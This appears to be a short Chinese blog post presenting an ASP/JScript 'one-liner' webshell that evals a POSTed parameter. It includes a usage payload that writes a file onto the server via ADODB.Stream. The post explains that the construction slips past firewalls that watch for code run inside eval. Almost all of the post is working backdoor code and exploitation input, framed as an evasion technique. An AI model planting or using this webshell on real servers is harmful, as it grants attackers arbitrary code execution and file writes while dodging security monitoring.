一个奇怪的ASP一句话

一句话代码:

<script language="javascript" runat="server">

Response.Write (({"a": eval(Request.Form("a").Item)}).a.a());

</script>

利用语句(参数a=):

({'a': function(){var a = new ActiveXObject("ADODB.Stream");var path = Server.MapPath('thisiszsx_testing.txt');a.Type = 2; a.Mode = 3; a.Open(); a.WriteText('this is zsx'); a.SaveToFile(path, 2); a.Close();Response.Write(path )}})


原理是eval内部生成函数,然后外部执行。可以过一些检测eval内代码执行行为的防火墙。

 

标签: 无
返回文章列表 文章二维码
本页链接的二维码
打赏二维码